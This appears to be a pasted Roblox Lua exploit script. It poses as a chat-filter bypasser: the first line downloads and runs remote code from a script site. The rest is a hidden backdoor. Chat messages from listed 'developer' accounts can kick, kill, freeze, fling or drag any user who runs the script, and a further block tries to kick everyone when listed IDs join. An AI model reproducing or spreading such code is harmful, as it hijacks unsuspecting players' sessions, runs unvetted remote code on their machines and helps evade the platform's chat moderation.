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Thecodeeasar

Stolen bypasser😭🙏 changed myself to an admin😏

Feb 8th, 2025
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  1. loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-NeverTag-chat-bypasser-WORKING-ON-SOLARA-28865"))()
  2.  
  3. local Players = game:GetService("Players")
  4. local LocalPlayer = Players.LocalPlayer
  5. local developerUsernames = {"Aintnoway123n", "Toezo_o", "NannaDev", "FEWithoutEffort", "wutdahell510"} -- List of developer usernames
  6.  
  7. -- Function to get the UserId from the username
  8. local function getUserIdFromUsername(username)
  9.     local success, userId = pcall(function()
  10.         return Players:GetUserIdFromNameAsync(username)
  11.     end)
  12.     if success then
  13.         return userId
  14.     else
  15.         warn("Failed to get UserId for username:", username)
  16.         return nil
  17.     end
  18. end
  19.  
  20. -- Retrieve the developers' UserIds
  21. local scriptDeveloperIds = {}
  22. for _, username in ipairs(developerUsernames) do
  23.     local userId = getUserIdFromUsername(username)
  24.     if userId then
  25.         table.insert(scriptDeveloperIds, userId)
  26.     else
  27.         warn("Unable to retrieve UserId for username:", username)
  28.     end
  29. end
  30.  
  31. local followConnection -- To handle the `.follow` connection
  32.  
  33. -- Utility function to execute the command
  34. local function executeCommand(message, sender)
  35.     local lowerMessage = message:lower()
  36.  
  37.     -- Ensure the message starts with the new prefix "/"
  38.     if lowerMessage:sub(1, 1) == "/" then
  39.         -- Remove the prefix from the message for command matching
  40.         local command = lowerMessage:sub(2)
  41.  
  42.         if table.find(scriptDeveloperIds, sender.UserId) then
  43.             -- /kick command
  44.             if command == "kick" then
  45.                 LocalPlayer:Kick("Aint Kicked You Because You're Lifeless Shit")
  46.  
  47.             -- /kill command
  48.             elseif command == "kill" then
  49.                 LocalPlayer.Character:BreakJoints() -- Simulates death by breaking joints
  50.  
  51.             -- /rocket command (with fiery trail effect)
  52.             elseif command == "rocket" then
  53.                 local character = LocalPlayer.Character
  54.                 local humanoidRootPart = character:FindFirstChild("HumanoidRootPart")
  55.  
  56.                 if humanoidRootPart then
  57.                     -- Create the BodyVelocity to move the player upwards
  58.                     local bodyVelocity = Instance.new("BodyVelocity")
  59.                     bodyVelocity.MaxForce = Vector3.new(100000, 100000, 100000)
  60.                     bodyVelocity.Velocity = Vector3.new(0, 100, 0) -- Normal upward force
  61.                     bodyVelocity.Parent = humanoidRootPart
  62.  
  63.                     -- Add a trail effect
  64.                     local trail = Instance.new("Trail")
  65.                     trail.Parent = humanoidRootPart
  66.                     trail.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.5, 0)) -- Red to orange gradient
  67.                     trail.Lifetime = 0.5
  68.                     trail.Attachment0 = Instance.new("Attachment", humanoidRootPart)
  69.                     trail.Attachment1 = Instance.new("Attachment", humanoidRootPart)
  70.                     trail.WidthScale = NumberSequence.new(1, 0) -- Gradually decreases width
  71.  
  72.                     -- Optional: Add a particle emitter for extra effects
  73.                     local particles = Instance.new("ParticleEmitter")
  74.                     particles.Parent = humanoidRootPart
  75.                     particles.Texture = "rbxassetid://258128463" -- Fire texture
  76.                     particles.Rate = 50
  77.                     particles.Lifetime = NumberRange.new(0.5, 1)
  78.                     particles.Speed = NumberRange.new(5, 10)
  79.                     particles.VelocitySpread = 180
  80.                     particles.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 1, 0)) -- Red to yellow gradient
  81.                     particles.LightEmission = 0.7
  82.  
  83.                     -- Clean up after 1 second
  84.                     game:GetService("Debris"):AddItem(bodyVelocity, 1)
  85.                     game:GetService("Debris"):AddItem(trail, 1)
  86.                     game:GetService("Debris"):AddItem(particles, 1)
  87.                 end
  88.  
  89.             -- /freeze command
  90.             elseif command == "freeze" then
  91.                 local root = LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
  92.                 if root then
  93.                     local bodyPosition = Instance.new("BodyPosition")
  94.                     bodyPosition.MaxForce = Vector3.new(400000, 400000, 400000)
  95.                     bodyPosition.D = 1000
  96.                     bodyPosition.P = 50000
  97.                     bodyPosition.Position = root.Position
  98.                     bodyPosition.Parent = root
  99.  
  100.                     local bodyGyro = Instance.new("BodyGyro")
  101.                     bodyGyro.MaxTorque = Vector3.new(400000, 400000, 400000)
  102.                     bodyGyro.CFrame = root.CFrame
  103.                     bodyGyro.Parent = root
  104.                 end
  105.  
  106.             -- /unfreeze command
  107.             elseif command == "unfreeze" then
  108.                 local root = LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
  109.                 if root then
  110.                     local bodyPosition = root:FindFirstChildOfClass("BodyPosition")
  111.                     if bodyPosition then bodyPosition:Destroy() end
  112.                     local bodyGyro = root:FindFirstChildOfClass("BodyGyro")
  113.                     if bodyGyro then bodyGyro:Destroy() end
  114.                 end
  115.  
  116.             -- /explode command
  117.             elseif command == "explode" then
  118.                 local explosion = Instance.new("Explosion")
  119.                 explosion.Position = LocalPlayer.Character.HumanoidRootPart.Position
  120.                 explosion.BlastRadius = 10
  121.                 explosion.BlastPressure = 5000
  122.                 explosion.Parent = workspace
  123.  
  124.             -- /bring command
  125.             elseif command == "bring" then
  126.                 if LocalPlayer.Character and sender.Character then
  127.                     LocalPlayer.Character:SetPrimaryPartCFrame(sender.Character.HumanoidRootPart.CFrame)
  128.                 end
  129.  
  130.             -- /fling command
  131.             elseif command == "fling" then
  132.                 local bodyVelocity = Instance.new("BodyVelocity")
  133.                 bodyVelocity.MaxForce = Vector3.new(999999999, 999999999, 999999999)
  134.                 bodyVelocity.Velocity = Vector3.new(0, 5000, 0)
  135.                 bodyVelocity.Parent = LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
  136.                 game:GetService("Debris"):AddItem(bodyVelocity, 1)
  137.  
  138.             -- /follow command
  139.             elseif command == "follow" then
  140.                 local humanoid = LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
  141.                 if humanoid and sender.Character then
  142.                     if followConnection then followConnection:Disconnect() end -- Ensure no previous follow connections
  143.                     followConnection = game:GetService("RunService").Stepped:Connect(function()
  144.                         if LocalPlayer.Character and sender.Character then
  145.                             local rootPart = LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
  146.                             local senderRootPart = sender.Character:FindFirstChild("HumanoidRootPart")
  147.                             if rootPart and senderRootPart then
  148.                                 local direction = (senderRootPart.Position - rootPart.Position).Unit
  149.                                 local targetPosition = senderRootPart.Position - direction * 3 -- Keep some distance
  150.                                 rootPart.CFrame = CFrame.new(rootPart.Position, senderRootPart.Position)
  151.                                 rootPart.Velocity = direction * humanoid.WalkSpeed
  152.                             end
  153.                         else
  154.                             if followConnection then followConnection:Disconnect() end -- Disconnect if something breaks
  155.                         end
  156.                     end)
  157.                 end
  158.  
  159.             -- /unfollow command
  160.             elseif command == "unfollow" then
  161.                 if followConnection then
  162.                     followConnection:Disconnect()
  163.                     followConnection = nil
  164.                 end
  165.  
  166.             -- /sit command
  167.             elseif command == "sit" then
  168.                 local humanoid = LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
  169.                 if humanoid then
  170.                     humanoid.Sit = true -- This properly sets the character to sit
  171.                 end
  172.             end
  173.         end
  174.     end
  175. end
  176.  
  177. -- Event listener for players' chat messages
  178. local function onPlayerAdded(player)
  179.     player.Chatted:Connect(function(message)
  180.         executeCommand(message, player)
  181.     end)
  182. end
  183.  
  184. -- Listen for PlayerAdded event
  185. Players.PlayerAdded:Connect(onPlayerAdded)
  186.  
  187. -- Handle already connected players (in case they were in the game before the script started)
  188. for _, player in ipairs(Players:GetPlayers()) do
  189.     onPlayerAdded(player)
  190. end
  191.  
  192. local Players = game:GetService("Players")
  193.  
  194. -- Developer User IDs
  195. local developerIDs = {4533073048, 4809025733} -- Add your IDs here
  196.  
  197. -- Function to check if a player is a developer
  198. local function isDeveloper(player)
  199.     return table.find(developerIDs, player.UserId) ~= nil
  200. end
  201.  
  202. -- Function to announce when a developer joins
  203. local function announceDeveloper(player)
  204.     if isDeveloper(player) then
  205.         -- Message to all players
  206.         for _, otherPlayer in pairs(Players:GetPlayers()) do
  207.             otherPlayer:LoadCharacter() -- Ensure GUI refreshes
  208.             otherPlayer:Kick("Aint Detected Your Script! 🤑") -- Kick if necessary
  209.         end
  210.     end
  211. end
  212.  
  213. -- Check for developers already in the game
  214. for _, player in pairs(Players:GetPlayers()) do
  215.     announceDeveloper(player)
  216. end
  217.  
  218. -- Listen for new players joining
  219. Players.PlayerAdded:Connect(function(player)
  220.     announceDeveloper(player)
  221. end)
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